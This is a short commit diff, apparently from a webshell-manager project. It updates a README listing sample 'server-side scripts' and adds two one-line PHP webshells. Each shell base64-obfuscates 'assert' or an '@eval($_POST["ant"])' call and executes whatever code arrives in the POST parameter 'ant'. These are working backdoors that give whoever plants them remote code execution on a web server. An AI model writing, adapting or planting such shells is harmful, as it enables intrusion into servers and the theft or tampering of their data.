添加3个php shell，修正 jsp shell

shells/README.md

 ## Shell-Scripts
-> 此目录用于存放一些示例的服务端脚本文件，仅供参考。
\ No newline at end of file
+> 此目录用于存放一些示例的服务端脚本文件，仅供参考。
+
+### PHP
+
+1. [PHP Custom Spy for Mysql](./php_custom_spy_for_mysql.php)
+2. [PHP Create_Function](./php_create_function.php)
+3. [PHP Assert](./php_assert.php)
+
+### JSP
+
+1. [JSP Custom Spy for Mysql](./jsp_custom_spy_for_mysql.jsp)

shells/php_assert.php

+<?php $ant=base64_decode("YXNzZXJ0");$ant($_POST['ant']);?>
\ No newline at end of file

shells/php_create_function.php

+<?php $ant=create_function("", base64_decode('QGV2YWwoJF9QT1NUWyJhbnQiXSk7'));$ant();?>
\ No newline at end of file